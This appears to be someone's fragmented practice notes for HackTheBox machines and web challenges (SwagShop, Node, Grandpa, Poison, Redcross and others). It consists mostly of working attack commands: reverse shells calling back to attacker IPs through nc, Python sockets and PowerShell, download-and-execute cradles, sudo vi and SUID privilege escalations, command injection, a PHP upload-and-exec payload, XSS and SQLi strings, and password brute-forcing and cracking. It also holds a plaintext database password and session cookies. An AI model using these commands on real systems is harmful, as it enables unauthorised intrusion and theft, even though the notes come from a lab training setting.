Machines Practice
Last updated
Was this helpful?
Last updated
Was this helpful?
one way to get root file
sudo /usr/bin/vi /var/www/html/../../../root/root.txt
2nd way
www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/a :set shell=/bin/sh :shell
3rd way
sudo vi /var/www/html/a -c ':!/bin/sh'
python magento_rce.py '' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 9001 >/tmp/f"
=============================================================
================================================================
05/10/2019
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.10\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > exploit.py
/dev/shm - writable directory
sudo -u scriptmanager bash
upload reverse shell if normal shell not working
python -c 'import pty;pty.spawn("/bin/bash")'
/usr/share/laudanum/php/php-reverse-shell.php
====================================================================
cmd.php
GIF8;
find . | grep controllers
ldd --version - cat /etc/lsb-release
One solution to get root
Create one file monitor.sh
/bin/sh
bash
Other trick to get exploit for ubuntu version --------- Rational love exploit
===================================================
Eternal blue : ms 17-010
nmap -p 445 --script safe -Pn -n ip [nmap -p 445 --script "vuln and safe" -Pn -n ip]
modify the python exploit and put location in our payload
Exploit modification required
add computer name in to host file and then scan smb servers
smbclient -L \10.10.10.40 -N
smbclient \\haris-pc\Users
python exploit.py ip ntsvcs
===========================================================================
manual cmd injection
on attacker machine run this command
nc -vnlp port < cmd
In cmd we have this reverse shell code
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.10",3456)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
nc -lvnp 3456
exploit-db exploit
=====================================================
port 80 is opening httpfileserver
tcpdump -i tun0 %00{.exec|ping 10.10.14.10.}
use invoke-powershelltcp.ps1
C:\Windows\SysWow64 - 32 bit windows C:\Windows\system32 - 32 bit windows C:\Windows\Sysnative - 64 bit
C:\Windows\Sysnative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.10
ctrl shift u - to decode
sherlock script execute to get the false positive patches
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 1234
Find-AllVulns
cd /poweshell/Empire/data/module_source/privesc/Invoke-MS16032
====================================================
3000- node
sed 's/,/\n/g' notes - password extract
api/users
crack the hashes online and offline
Hashes crack with hashcat and john hashcat -a0 -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af /usr/share/dict/rockyou.txt john --format=Raw-SHA256 --wordlist=/usr/share/dict/rockyou.txt hash.txt cat /home/alamot/.john/john.pot
online - hashes.org
grep -Ri password . | less
fcrackzip for zip files password cracker fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip
base64 -d myplace.backup >myplace
privsec to tom user
mongo -u 'mark' -p '5AYRft73VtFpc84k' scheduler
find / -user root -perm -4000 -exec ls -ld {} \; 2> /dev/null
db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/tombash; chmod u+s /tmp/tombash;" } );
find / -perm -4000 2>/dev/null
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d 0230167104d474 "asd /bin/bash asd"
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d 0230167104d474 r??t/roo?.txt
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d 0230167104d474 root
using wildcard /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /rt/rt.txt | base64 -d > root.zip
command injection:
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf 'aaa\n/bin/sh\nls')"
=====================================================
Samba Scan
host file with smbserver
===========================================================
heartbleed vulnerability
python heartbleed.py -n 100 ip
for i in ${seq 0 100}; do python heartbleed.py ip; done
then find hype.key (hex to ascii)
ssh key and use this key and password get from heartbleed
ssh -i hype.key hype@ip
check the history and check ps elf | grep root
2nd exploit
gcc -pthread dirty.c -o dirty -lcrypt
su -
==============================================
Fuzzy web app challenge
====================================== HDC HackTheBox Web Challenge Walkthrough/Solution
so the doProcess() function submits the form data to the jquery, Then i had a look at jquery-3.2.1.js CTRL+F and searched for the doProcess()
credentials stored in js file doprocess function
find emails on secret folder then run bruteforce in to all emails and get the flag
=======================================
Lernaean Web Challenge — HackTheBox
hydra -l admin -P /usr/share/wordlists/rockyou.txt ip http-post-form "/:password=^PASS^:Invalid Password!" -s 53593
========================================= CARTOGRAPHER
username= ’- and password= ‘ - sql injection
[20 Points] Lernaean [by Arrexel]
hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form "/:password=^PASS^:Invalid password!" -s 35414
=========================================== [50 Points]
I know Mag1k [by rkmylo]
=======================================================
Drupal payload chnages
}; ?> EOD; $file = [ 'filename' => 'sam.php', 'data' => $ippsec ];
\10.10.14.10\a\ms15-051x64.exe "\10.10.14.10\a\nc64.exe -e cmd.exe 10.10.14.10 443"
Shell with Nishang
===================================================
Poison
add this shell in to user agent
then check the logs &c=id
connectivity check
Shell as WWW
Listening on localhost:
Looking inside /root/.vnc/, there’s a passwd file that matches the file secret:
LFi Filter :- php://filter/convert.base64-encode/resource=index.php
Request to add data in php variable which is visible on phpinfo.
Content-Type: multipart/form-data; boundary=--PleaseSubscribe
Content-Length: 166 ----PleaseSubscribe
Content-Disposition: form-data; name="sam"; filename="Leaveacomment"
Content-type:text/plain
Please share my videos
====================================================
Brainfuck:
python sshng2john.py id_rsa > braingfuck-crack
john brainfuck-crack --wordlist=/usr/share/wordlis ts/rockyou.txt
cp /usr/share/exploitdb/exploits/php/webapps/40939.txt .
wordpress exploit -> smtp cred -> smtp cred to get secret forum password - > Encryption decryption
ssh2john id_rsa > id_john
john id_john –wordlist=/usr/share/wordlists/rockyou.txt
grandparents (granny & grandpa
granny & grandpa
iptables -A OUTPUT -d 10.10.10.14 -j DROP
move options check move ippsec.html destination ippsec.aspx
ms14-070 exploit work for root ms15-051 - not work
Reverse shell on metasploit
check 3 exploits for privilege escalation : ms16-016 ms15-051 ms14-058 - working fine msf5 exploit(windows/local/ms14_058_track_popup_menu)
post(multi/recon/local_exploit_suggester)
Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
grandpa:
. Use exploit/windows/iis/iis_webdav_scstoragepathfromurl. As we can see below, set options. << use exploit/windows/iis/iis_webdav_scstoragepathfromurl>> << options >> << set RHOST 10.10.10.14>> <<set LHOST <attacking machine ip> >> <<set LPORT 1234>>
<< use exploits/windows/local/ms15_051_client_copy_image >> << options >>
============================================
Redcross
Xss payload in to contact us form
SQLi
Injection RCE
Brup Suite RCE :
ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.23",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny
Find psql Configs
This user can add a user with user id 0 (root):
Using this account, we are able to create a new user with UID 0:
hydra -l admin -P rockyou.txt http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect Username" - not working ip block
Eternal blue exploit manually :
C:\Windows\Sysnative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString(').}
New-Object Net.WebClient}.downloadString(')
New-Object Net.WebClient}.downloadString('')
IEX(New-Object Net.WebClient).downloadString('')
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('')"
download file with wget ; wget --header "Cookie: connect.sid=s%3AuGlwY_gicWrNb2ESIiDzUPn9TTi-Dstj.5E1wGaKmQ7QgeS%2BC5%2FfZ3mjy8DCwSdySPOv4rRvvZfU"
h
gobuster -u -w /usr/share/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html,htm
gobuster -u -w /usr/share/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html,htm
wfuzz --hh=24 -c -w /usr/share/dirb/wordlists/big.txt
wfuzz --hh=27 -c -w /usr/share/dirb/wordlists/big.txt
padbuster 0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D 8 --cookie "iknowmag1k=0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D;PHPSESSID=h8pl413ekrj16ni133irv92nv4"
padbuster 0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D 8 --cookie "iknowmag1k=0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D;PHPSESSID=h8pl413ekrj16ni133irv92nv4" -plaintext "{\"user\":\"qq\",\"role\":\"admin\"}"
$url = ''; $endpoint_path = '/rest'; $endpoint = 'rest_endpoint'; $phpcode = <<<'EOD' <?php if (isset($_REQUEST['fuplaod'])) { file_put_contents($_REQUEST['fupload'], file_get_contents("" . $REQUEST['fupload'])); }; if (isset($_REQUEST['fexec'])) {
IEX(New-Object Net.WebClient).downloadString('')
\\10.10.14.10\sam\ms15-051x64.exe "\10.10.14.10\sam\nc64.exe -e cmd.exe 10.10.14.10 443" [#] ms15-051 fixed by zcgonvh powershell iex(new-object net.webclient).downloadstring('')
powershell iex(new-object net.webclient).downloadstring('')
- machine is vulnerable to lfi
Visit view-source:,
wpscan –url –disable-tls-checks
In orestis home directory there are a few files debug.txt, encrypt.sage and output.txt After some google searching, it turns out to be RSA encryption. RSA encryption relies on three prime numbers P, Q, E (two small and one large)python -c “print format(24604052029401386049980296953784287079059245867880966944246662849341507003750, ‘x’).decode(‘hex’)” 6efc1a5dbb8904751ce6566a305bb8ef
=================================================
davtest --url
curl -X PUT --data -binary @shell.aspx curl -X MOVE -H 'Destination: 5/shell.aspx'
curl
<script>new Image().src=";</script>
On submitting the UserID filter, I’m sent to , where o= is the id filtered on. If I try with a ' in there, :
